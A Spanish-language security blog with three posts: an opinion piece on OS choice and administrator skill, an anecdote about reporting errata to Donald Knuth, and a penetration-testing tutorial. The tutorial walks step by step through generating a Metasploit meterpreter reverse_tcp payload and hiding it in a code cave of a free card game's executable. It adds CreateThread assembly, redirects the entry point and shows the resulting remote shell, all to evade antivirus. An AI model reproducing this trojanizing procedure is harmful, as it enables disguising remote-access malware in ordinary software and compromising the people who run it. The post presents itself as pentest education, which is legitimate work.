Para ejemplificar aún más mi argumento consideremos lo siguiente: Si yo tuviera que seleccionar, para un servidor de misión crítica (i.e. alto grado de seguridad), considerando todo lo demás igual, entre un sistema operativo Linux y otro Windows, preferiría Linux a Windows sin lugar a dudas. No porque Linux sea innatamente más seguro que Windows, si no porque con un sistema operativo libre sólo estoy limitado por mi propio conocimiento, tiempo y motivación. Si tengo un problema, simplemente tomo la fuente, la modifico, recompilo y resuelto mi problema. Es decir, tengo una "esperanza" de lograr más seguridad. Por el contrario, con Windows, ni siquiera el problema es no tener el código fuente. En otros articulos he demostrado lo sencillo que es agregar funcionalidad a un programa directamente en el binario sin utilizar su código fuente. De la misma forma, aplicar parches para modificar funcionalidad existente directamente al binario sin el código fuente, tampoco es una tarea imposible. Sólo se requiere un poquito de conocimiento extra en arquitectura y los internos de Windows. ¿Cúal es el problema entonces? En efecto, muy pocas personas se dan cuenta que el único problema es legal. Si yo me pongo a modificar un programa del S.O. Windows, no sólo estoy violando sus terminos de uso, si no que en muchos paises podría estar violando la ley de "Digital Millenium Copyright Act" (DMCA). Ley, por cierto, que muchos paises en Latinoamerica se han visto "obligados" a adoptar debido a los tratados de libre comercio (TLC's).


De la misma forma, si fuera confrontado con la necesidad de decidir entre: Un servidor Linux con un administrador mediocre, y un servidor Windows con un experto no sólo en Windows sino también en todas las funciones que va a realizar el servidor y experto en seguridad informática en general, pues tomaría al servidor Windows sin pensarlo. No por Windows, si no por el administrador. No importa cúan seguro o abierto sea tu sistema, si el que lo usa es un carnicero, jamás podrá llevar a cabo su trabajo adecuadamente. Por más inmensa comunidad de software libre que exista, y por más que extienda su mano el mediocre para pedir ayuda, probablemente lo único que recibirá de respuesta es "tirate al metro". Ni siquiera es que lo condone o esté de acuerdo. Es una realidad palpable e innegable, sin tabúes y sin prejuicios.


2.- Nada es completamente, 100%, perfectamente seguro. Suspiro profundo. Este es probablemente el argumento más pernicioso para contaminar la cultura corporativa de una organización. Sí, es verdad que el sistema perfecto no es alcanzable. En efecto, cuando mis clientes me dicen que necesitan una prueba de penetración para "...saber si pueden ser hackeados..." Mi respuesta es siempre: "... Les voy a ahorrar un monton de tiempo y dinero, la respuesta es sí, no me debe nada, hasta luego...". Lamentablemente este argumento se ha convertido en escudo y excusa para conductas imperdonables como: no aplicar los parches del sistema operativo o aplicaciones, no desinstalar funcionalidad extra que no es usada, no arreglar fallas gravisimas de XSS, SQL injection, y un monton de problemas más que hacen la vulneración de nuestros sistemas una tarea "trivial". Obviamente, un atacante determinado y con más recursos que los nuestros siempre logrará vulnerar nuestros sistemas. Pero realmente, ¿Es nuestra tarea asegurarnos que los recursos que ese atacanque necesita para vulnerar nuestros sistemas sean tan ínifmos?


Lastimosamente, muchos administradores de sistemas y personal de TI en general fallan catastróficamente en percibir lo trivial que se ha vuelto vulnerar sistemas utilizando programitas "point-and-click" que explotan vulnerabilidades "enlatadas" y que están al alcance de cualquier adolescente en los Inter-tubes. Peor aún, a veces se atreven a utilizar el argumento: "Eso es culpa del usuario".


3.- ¿XSS? Eso NO es un problema de la aplicación. Esa es una vulnerabilidad de muy bajo impacto y además para explotarla se necesita la estupidez del usuario. Suspiro aún más profundo. Realmente no se cómo ponerlo, pero ésto toca los nervios más profundos de mi ser y no es fácil contenerse. Lo único que diré es lo siguiente: Cuando la gente de TI va al consecionario a comprar un carro, ¿le preguntan si es un experto en motores de combustión interna antes de venderselo? Por que yo estoy seguro que a mí no me lo preguntan. Y si trataran de insinuarlo a la hora de reclamar la garantía, lo que pueden llevar es un incendio del local. Mínimo. Exactamente lo mismo sucede con nuestros sistemas de información. Requerir que el usuario normal entienda los intríngulis del funcionamiento del navegador para usarlo y no morir en el intento es, por la medida chiquita, un absurdo sin igual. Y si vamos un poquito más alla, todo ésto es nada más parte de la desidia y poco entendimiento por parte de muchos departamentos de TI que desarrollamos en el punto anterior.


4.- No existen virus para Linux y la probabilidad de que me infecte usando Windows es mucho mayor a que me infecte si uso Linux. El mismo argumento utilizan los amantes de los sistemas Apple. Si consideramos todo lo anterior, se puede ver facilmente  que este argumento no es del todo preciso. Es cierto que sistemas no-Windows son menos "targeted" por el crimen informático. Sin embargo, la razón de ésto no tiene que ver en lo absoluto con su seguridad "innata". Por el contrario, es el simple resultado de la considerable disminución del ROI que significa desarrollar malware para un sistema operativo que no es tan popular. De hecho, los primeros en darse cuenta de esta cruda realidad han sido los usuarios de Mac OS X.


Por otro lado, para realmente hablar de forma seria y responsable sobre probabilidades de infección y de ataques, es necesario considerar la victima del ataque dentro de la ecuación. No es lo mismo perfilar el atacante de la abuelita que usa su PC para leer las cartas de sus nietos en el exterior, que el administrador que le da soporte a los sistemas que manejan información financiera sensible de millones de personas. Para la abuelita, el mayor riesgo lo representan los atacantes oportunistas y de menos sofisticación. En este caso, sí, por favor, darle la manzanita a la abuelita. 

Sin embargo, si estamos hablando de una organización privada o gubernamental que maneja datos un poquito más importantes que los de la abuela, por un lado, los atacantes oportunistas no son una amenaza importante. Los atacantes oportunistas conforman un porcentaje muy pequeño de toda la gama de atacantes que nos acechan. De hecho, yo llegaría al punto de decir que son mas bien "aliados oportunistas". El atacante oportunista y de menos sofisticación usualmente terminará haciendole un deface a nuestra página web y más nada. Su conocimiento no le dá para más. Ésto para nosotros es probablemente lo mejor que nos puede pasar al lado de todas las otras alternativas que son una peor que la otra. Específicamente, el atacante sofisticado, del que realmente nos interesa preocuparnos, es el que aprovechandose de la misma falla que los atacantes oportunistas, está silenciosamente en nuestros sistemas sustrayendo información o esperando el peor momento para llevar a cabo un sabotaje catastrófico. Mirando la situación desde una perspectiva más amplia, lo único verdaderamente importante que logró el adolescente que nos hizo el deface, es echarle a perder el esquema a nuestro atacante profesional. Esto se debe a que la gerencia de nuestra organización despues de poner la cara roja ante sus clientes y la opinion publica, sacará el látigo para que los encargados de TI dejen aunque sea algo de la desidia que hablabamos anteriormente, las fallas serán cerradas poco a poco y la vigilancia será incrementada aunque sea por un tiempo. Es de esta situación tan particular que nace el odio encarnizado de los criminales profesionales hacia los "script kiddies". Las lecturas son extensas, pero una y otra vez hemos visto como grupos del underground amenazan a los script kiddies y hasta en algunos casos los delatan a las autoridades para sacarlos del juego. Para los interesados en más detalles, pueden hacer busquedas en google sobre: ~el8, h0n0, zf0, etc. Preparense para abrir su mente a una realidad muy poco conocida.


Ahora bien, si no es tan importante el sistema operativo que se use, o la tecnología que se desarrolle para defendernos de los criminales profesionales, entonces ¿Qué lo es? La respuesta la dimos al comienzo: El artesano que sepa usar esa tecnología es la verdadera respuesta. Creer que metiendo más dinero o metiendo más tecnologia en nuestra plataforma va a resolver nuestros problemas de seguridad es como querer comprar clavos, madera y herramientas, tirarlas en el jardin y pretender al día siguiente encontrar un patio de madera artesanal. Por supuesto, esto es nada más el comienzo. Posteriormente es necesario llevar a cabo una conscientización y priorización de las vulnerabilidades y fallas que constantemente estaremos "creando" en nuestros propios sistemas. Mantenerse al día en estos asuntos es una tarea casi imposible para los que adicionalmente son responsables de que los sistemas "funcionen". Es aquí donde pueden ayudar servicios profesionales que evalúan la seguridad de sus plataformas desde el punto de vista de un atacante profesional. Si deseas ver demostraciones de todos estos puntos y cómo una prueba de penetración puede ayudar a tu empresa estás invitado a usar el enlace de contacto.

martes, 14 de junio de 2011

Haciendo una fortuna a costa del Dr. Knuth

Hace unos días leí un twitt que me hizo recordar mis años de universidad donde pasaba incontables horas sumergido en los misterios del mundo académico. Ejem, no tan así pero es una buena linea de inicio para este post. El twitt hacía referencia a la siguiente caricatura:


El chiste es particularmente gracioso, pero sólo para un pequeño grupo de personas especializadas en el mundo de la matemática aplicada a la computación. Estoy seguro que muchos de mis compañeros matemáticos no le encontrarán ningun chiste, y la gran mayoría de computistas tampoco. Como en realidad es muy gracioso, he decidido escribir este artículo y compartir un poco de "LULZ" con el resto de geeks.

El Dr. Knuth es un científico de la computación (computer scientist) famoso entre otras cosas por haber escrito el trabajo seminal multi-volumen "The Art of Computer Programming". De acuerdo a la Wikipedia (y para muchos más): El Dr. Knuth es considerado "el padre" del análisis de algoritmos además de haber contribuido al desarrollo riguroso del análisis de la complejidad computacional y de sistematizar técnicas matemáticas formales para este análisis. En el proceso, tambien popularizó la notación asintótica.

Adicionalmente, "The Art of Computer Programming" es considerada una de las obras literarias mas influyentes sobre la ciencia de nuestro siglo y en realidad el razonamiento lógico y perfeccionismo que se respira al leer los libros del Dr Knuth es impresionante. De hecho, el compromiso del Dr. Knuth por hacer de sus publicaciones unas verdaderas obras de arte llega al punto de ofrecer una simbólica recompensa a los que encuentren errores significativos en cualquiera de sus libros. Por supuesto, nadie hace esto por los 0x$1.00 ($2.56) dólares que ofrece el Dr. Knuth de recompensa, si no mas bien por el valor simbólico de formar parte (aunque sea ínfima) de la historia que se convertirá en el legado científico para las generaciones de los siglos por venir.

O en todo caso esa fue mi motivación. En mis años de academia, lo confieso, yo fui el terror de muchos de mis profesores. Probablemente algunos llegaron a pensar que disfrutaba encontrandoles errores. Otros sin embargo, disfrutaban conmigo la busqueda de las fallas y vulnerabilidades en los argumentos planteados. De hecho tanto fue mi disfrute que 15 años despues todavía me dedico a buscar y demostrar fallas en los sistemas que protegen nuestros delicados e importantes datos y comunicaciones a nivel global. Así es la vida, el que nace para zapatero, desde pequeño le gusta la pega.

En mi caso, la busqueda por el error en los libros del Dr. Knuth fue mas bien circumstancial. La suerte (o destino) orquestó para mí que tomará la materia "Matemática Computacional" en la Universidad Simón Bolivar (Venezuela) en donde usamos "Concrete Mathematics" como libro principal. Me gustaría decir que durante el curso revisé meticulósamente cada afirmación, teorema y ejercicio que mi mente y mi apretado horario de clases me permitieran entender con claridad. Pero no fue así. Obviamente, hace tanto tiempo que no recuerdo muy bien. Sin embargo, algo como que me equivoqué de ejercicio asignado y terminé haciendo el que no era suena más a mí. En ese ejercicio estaba el error.



De hecho, no fuí exitoso en lo que consideré mi primer hallazgo. Pero así como los hackers, yo nunca me doy por vencido. En el segundo intento lo logré. Si me preguntan ahora, juraré que en esos tiempos estuve convencido que la primera carta que le envié al Dr. Knuth también expone un error. Sin embargo, siendo él la autoridad en notación asintótica, pues veo (ahora) muy dificil haberlo podido convencer. Para mi defensa, en ese tiempo, no sabía que él era la autoridad en la notación asintótica. Exacto, la ignorancia es irreverente.

Cuando leí el chiste del comienzo de este artículo me dije a mi mismo: "Nah, no creo que esa sea una buena idea para hacer una fortuna". De hecho muy probablemente la respuesta del Dr. Knuth sería algo al estilo de lo que apareció en el comentario de la foto: "Estimado lector, adjunto hay un cheque por 98 céntimos de dolar. Utilizando tu propio trabajo, he demostrado que esta cantidad es equivalente a lo que has solicitado". Así son los grandes, siempre te van a ganar al final. El Dr. Knuth es, sin lugar a dudas, uno de los grandes de nuestros tiempos. En consecuencia, no pense ni por un momento antes o ahora en tratar de reclamar recompensa por el error que hay en el cheque al tratar de escribir mi apellido. Aún si esto fuera un error que se convirtiera en recursivo, ¿De qué me sirven un monton de cheques que al final no pienso cobrar? Con uno es más que suficiente. Y para mí, hasta ahí llego la busqueda de errores en los libros de Knuth.

Tengo otras anécodtas de mis años universitarios sufridas con personajes del mundo matemático. Sin embargo, dejaré éstas para otros artículos pues no caben todas en el margen de esta pagina web.(si, exacto, Fermat).

domingo, 5 de junio de 2011

ALL YOUR AV STILL ARE BELONG TO US - Parte 2


Una de las habilidades más importantes para un pentester profesional es la capacidad para modificar sus herramientas de tal forma que logren evadir su detección por parte de los sistemas antivirus y otros sistemas de protección de usuario final. Esta habilidad está muy bien desarrollada dentro de los círculos del crimen informático, y por tanto, un servicio de pruebas de penetración que no pueda emular esta capacidad es, en el mejor caso, incompleto por no decir mediocre.

En el artículo anterior logramos demostrar que nuestro antivirus no es capaz de detectar el payload generado con el encoder defecto de metasploit (shikata_ga_nai). La primera solución descrita fue simplemente usar un ensamblador poco popular, y miramos como nuestro antivirus quedó completamente inutilizado. Sin embargo, no podemos cantar victoria todavía. Esta técnica de evasión una vez empezada a usarse rutinariamente durará a lo sumo 3 días funcionando hasta que los antivirus encuentren aún otro patrón para detectarla. Tal vez unas cuantas semanas porque mi artículo fue escrito en español y pues el undergroung hispanohablante no se compara con el anglosajón, pero el argumento es el mismo.

Ahora, sosteniendo que el payload en sí mismo no es el que está siendo detectado, lo único que necesitamos para hacer un poco más dificil su detección es simplemente embeber su funcionalidad en otro ejecutable. Me hubiera gustado utilizar algo como "stress-reducer-desktop-destroyer.exe" para demostrar esta técnica. Para los que no lo conocen les dejo un screenshot de este programita por demás adictivo:


Pero mi antivirus ya lo detectaba como sospechoso, asi que vence el propósito de mi demostración. En consecuencia, comencé a buscar otros candidatos gratuitos pero todos tenían unos terminos de servicio que prohiben su modificación binaria. Como aquí no condonamos ninguna actividad ilegal o inmoral, decidimos volver nuestra atención a nuestros buenos y fieles amigos del software libre. Nótese sin embargo, que el criminal informático común y corriente no tiene remordimiento ni restricción moral o ética alguna para no aplicar estas mismas técnicas a cualquier programa popular, ya sea un juego, el calc.exe de windows o hasta un programa ilegal de generación de claves. Es por esta razón que es tan importante llevar estos conocimientos al mundo de la seguridad informática y aprender de ellos. En todo caso, la aplicación premiada resulto ser "calculation-1.0.1". Este juego es alguna variación de solitario o algo parecido que tiene que ver con cartas/naipes/etc. Siento un poco de verguenza de ni siquiera haber averiguado de que trata este juego, pero no es primordial para nuestros propositos. Sin embargo, aquí les dejo un screenshot para compensar un poco la indiferencia:


Comenzamos investigando a calculation con cualquier debugger. Para efectos de esta demostración utilizamos el más simple de todos: ollydbg. El primer paso es encontrar un sitio apropiado para alojar nuestro payload. Sitios candidatos son obviamente la sección de código del programa, pero el espacio efectivamente utilizable de esta sección es usualmente muy pequeño. Otra sección posible es la sección de datos. Sin embargo, el uso de esta sección es un trabajo muy delicado pues hay que tener cuidado de no aplastar variables que se supone deberían estar inicializadas en 0 para el funcionamiento del programa. Nuestra mejor opción siempre será la sección de "resources" (.rsrc). Esta sección es normalmente utilizada para agregar los íconos e información miscelanea del programa. Adicionalmente, esta sección es, por lo general, la última sección del ejecutable. Esto significa que si no existe suficiente espacio en ella para nuestro código, siempre es posible agrandar un poco su tamaño en el encabezado PE y luego con un editor hexadecimal agregar 0's a nuestro archivo. Cualquiera sea el caso, hay que verificar que la sección que alojará nuestro código esté marcada con permisos de escritura pues nuestro payload estará reescribiendose a sí mismo. Si, así de bueno es shikata_ga_nai (lol). Para comenzar, abrimos nuestro ejecutable en olly y encontramos nuestra "caverna para código":


En este caso, al abrir calculation con olly y revisar las secciones disponibles nos encontramos con una larga secuencia de 0's en la sección .rsrc. Esta será nuestra "code cave". Apuntamos la primera dirección vacia: 0x0042442D pues la necesitaremos cuando hagamos la llamada a CreateThread. Como siempre, la generación del payload la hacemos con nuestras herramientas de metasploit:

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.137.66 LPORT=80 R | msfencode -t raw | xxd -i - > payload.txt
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

root@bt:~#

Y simplemente lo acomodamos con un poco de "search and replace" para eliminar los ", 0x" de tal forma que queden solo los valores hexadecimales para pegarlos en nuestra caverna de código:

da de d9 74 24 f4 58 31 c9 bb 79 ba ... etc.


Olly marca en rojo los cambios hechos al ejecutable que todavia no han sido guardados en disco. En este punto es importante anotar la siguiente dirección vacía despues de nuestro payload: 0x0042456A. El siguiente paso requiere escribir un poquito de assembler. No es nada del otro mundo. Lo único que necesitamos es llamar a la función CreateThread de kernel32.dll con la dirección de nuestro payload. La idea es por supuesto, ejecutar nuestro payload y no interferir con la ejecución de calculation. En otras palabras, mientras nuestro objetivo de penetración esta jugando plácidamente con los naipes, nosotros estamos obteniendo control de su computadora. El código en assembler es simplemente algo como:

push 0x0042456A
push 0,0
push 0x0042442D
push 0,0
call CreateThread

En donde el valor del primer "push" es nuestra primera dirección vacía despues del payload. Esta dirección alojará un parametro de salida de CreateThread. La segunda dirección empujada es simplemente la posición de nuestro payload. El significado de los otros parametros se dejan como ejercicio al lector. En olly, insertamos estas instrucciones asi:


Ahora estamos listos para para modificar el flujo de ejecución del programa. Simplemente anotamos la dirección de nuestro primer push: 0x0042456E y vamos al origen del programa (shortcut *) para anotar las primeras instrucciones originales de calculation:

0040C4D0 > $ 55                 PUSH EBP
0040C4D1   . 8BEC               MOV EBP,ESP
0040C4D3   . 6A FF              PUSH -1
0040C4D5   . 68 F8844100        PUSH calction.004184F8

Algunas de estas instrucciones tendremos que copiarlas de regreso a calculation dentro de nuestra caverna de código. Esto es con la idea de reanudar su ejecución normal despues de crear nuestro thread con el payload. La modificación que es necesaria aquí es más que evidente. Simplemente tenemos que reescribir la primera instrucción con un jmp a la dirección de nuestro primer push: 0x0042456E. La modificación queda de esta forma:



Con esta modificación, lo primero que se hará al iniciar este ejecutable es saltar a nuestra caverna de código y empezar a empujar los parametros de CreateThread. Es evidente que nuestra modificación ha eliminado las primeras 3 instrucciones originales del ejecutable. Estas instrucciones hay que volverlas a colocar en nuestra caverna de código despues de llamar a CreateThread y luego hacer el salto de regreso a la dirección que no fue modificada: 0x0040C4D5. Esta modificación se ve como sigue:


Listo! Seleccionamos todo el código modificado, click derecho->copy to executable->Selection, y en la ventana de dump, de nuevo, click derecho->save to file, y guardamos nuestro ejecutable modificado con un nombre distinto. Es importante repetir este procedimiento para la modificación del punto de origen también despues de abrir nuestro ejecutable recien guardado.En este punto estamos casi listos. Sólo hace falta una última modificación. Como recordaremos, nuestro código se encuentra en la sección .rsrc. Como nuestro payload se modifica a sí mismo mientras se ejecuta, es importante que la sección .rsrc tenga permisos de escritura. Para tal fin, simplemente vamos al encabezado PE en olly, y modificamos el valor de "caracteristicas" de la sección resources de esta forma:



Como siempre de nuevo guardar nuestro cambios y listo!. Así es como queda nuestra modificación:

C:\Documents and Settings\winxp\Escritorio>dir calction.exe
 El volumen de la unidad C no tiene etiqueta.
 El número de serie del volumen es: 28F8-C6FD

 Directorio de C:\Documents and Settings\winxp\Escritorio

13/06/2002  17:48           128.000 calction.exe
               1 archivos        128.000 bytes
               0 dirs  32.210.063.360 bytes libres

C:\Documents and Settings\winxp\Escritorio>dir calction-post.exe
 El volumen de la unidad C no tiene etiqueta.
 El número de serie del volumen es: 28F8-C6FD

 Directorio de C:\Documents and Settings\winxp\Escritorio

05/06/2011  11:42           128.000 calction-post.exe
               1 archivos        128.000 bytes
               0 dirs  32.210.063.360 bytes libres

C:\Documents and Settings\winxp\Escritorio>

Los dos ejecutables tienen el mismo tamaño y si ejecutáramos el calculation modificado, no veriamos ninguna diferencia con respecto al original:



Sin embargo, de regreso en nuestra consola de metasploit:

[*] Sending stage (749056 bytes) to 192.168.137.67
[*] Meterpreter session 16 opened (192.168.137.66:80 -> 192.168.137.67:4543) at 2011-06-05 15:12:26 -0400

meterpreter>


Esta técnica es bastante efectiva, sin embargo, tiene algunos inconvenientes. Las llamadas a las funciones y saltos dentro del ejecutable que hemos hecho utilizan direcciones fijas. Esto significa que nuestra modificación del ejecutable sólo funcionará cuando calculation sea mapeado en memoria de la forma que fue mapeado en mi sistema de prueba. Esto quiere decir, distintas versiones de sistema operativo, o tecnologías como ASRL podrían hacer que nuestro calculation troyanizado dejara de funcionar. Adicionalmente, como nuestro payload se ejecuta dentro de un hilo de ejecución de calculation, cuando nuestro objetivo se canse de jugar a los naipes y cierre nuestro programa, la conexion de nuestro payload también morirá. Este último problema puede resolverse configurando un script de autoejecución en metasploit. Sin embargo, para solucionar el primer problema es necesario programar un poquito más de assembler y conjurar algo más de magia para hacer a nuestro troyano un programa completamente relocalizable. Este técnica será el tema de nuestro siguiente artículo de esta serie. Mantenerse en sintonía.